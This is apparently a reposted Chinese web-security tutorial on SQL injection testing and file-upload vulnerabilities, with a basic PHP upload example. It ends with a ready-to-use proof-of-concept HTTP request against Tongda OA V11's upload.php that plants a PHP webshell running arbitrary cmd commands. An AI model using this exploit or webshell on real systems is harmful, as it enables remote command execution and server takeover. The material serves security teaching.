web安全文件上传漏洞&代码函数&格式后缀&场景
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件上传漏洞&代码函数&格式后缀&场景相关的知识,希望对你有一定的参考价值。
一、SQL注入-安全测试思路总结
漏洞利用
1.参数类型
2.数据库类型
3.数据提交方式
4.数据SQL查询方式
5.数据是否加密编码等
6.数据是否存在回显等
7.注入权限是否高权限
漏洞危害
1.单个数据库数据泄露
2.所有数据库数据泄露
3.后台权限丢失-数据配合后台登录等
4.WEB权限丢失-文件操作,命令执行等
5.可能后续导致服务器权限丢失等
漏洞特点
1.开发语言决定SQL注入产生率
2.数据库类型决定SQL注入利用过程
3.部分SQL注入发现需人工进行探针
4.防护SQL注入代码过滤或部署WAF
二、文件上传-后门文件格式解析&测试场景
1.文件格式解析
我们先拿冰蝎做例子,冰蝎(Behinder)是国内黑客圈较火的一款Webshell管理工具。在今年HW开始前,冰蝎突然进行了3.0版本的发布,新版本修改了不少旧版本的流量特征,导致大量WAF、HIDS、Webshell检测工具失效。然后冰蝎自带了一个shell,我们把他放在网站目录上连接康康
自带的phpshell
连接成功!那么我们把文件后缀改成jpg、txt、png还能解析吗
发现不能,说明文件格式解析必须得是根据网站语言决定,比如php的语言,它就只会解析php,不会去解析其他语言或者是其他文件格式(解析漏洞除外)
2.测试场景
除了下面常见的web文件上传点,那么APP也存在文件上传点
比如这里
文件上传-举例代码函数原理
代码如下
<html>
<head>
<meta charset="utf-8">
<title>菜鸟教程(runoob.com)</title>
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
前面代码构造一个文件上传的框架出来,后续用php代码进行接受处理
<?php
$dx=$_FILES['file']['size'];
echo $dx;
$mz=$_FILES['file']['name'];
echo $mz;
$lx=$_FILES['file']['type'];
echo $lx;
?>
这里的代码是对文件大小、名字、类型的接受并输出到页面
具体还有那些$_FILES操作:http://c.biancheng.net/view/6187.html
那么它在过滤的层面就会对类型、文件大小、以及文件头部进行检测过滤,如果只对其一进行过滤,前端文件类型,那么绕过这个限制就造成了文件上传漏洞。
文件上传-通达OA文件上传利用测试
参考:https://www.cnblogs.com/twlr/p/12989951.html
访问上传目录,使用的是V11版本,路径为:ispirit/im/upload.php
Burp抓包构造数据包上传文件,POC为:
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:85
Content-Length: 680
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
可以看到上传成功!
以上是关于web安全文件上传漏洞&代码函数&格式后缀&场景的主要内容,如果未能解决你的问题,请参考以下文章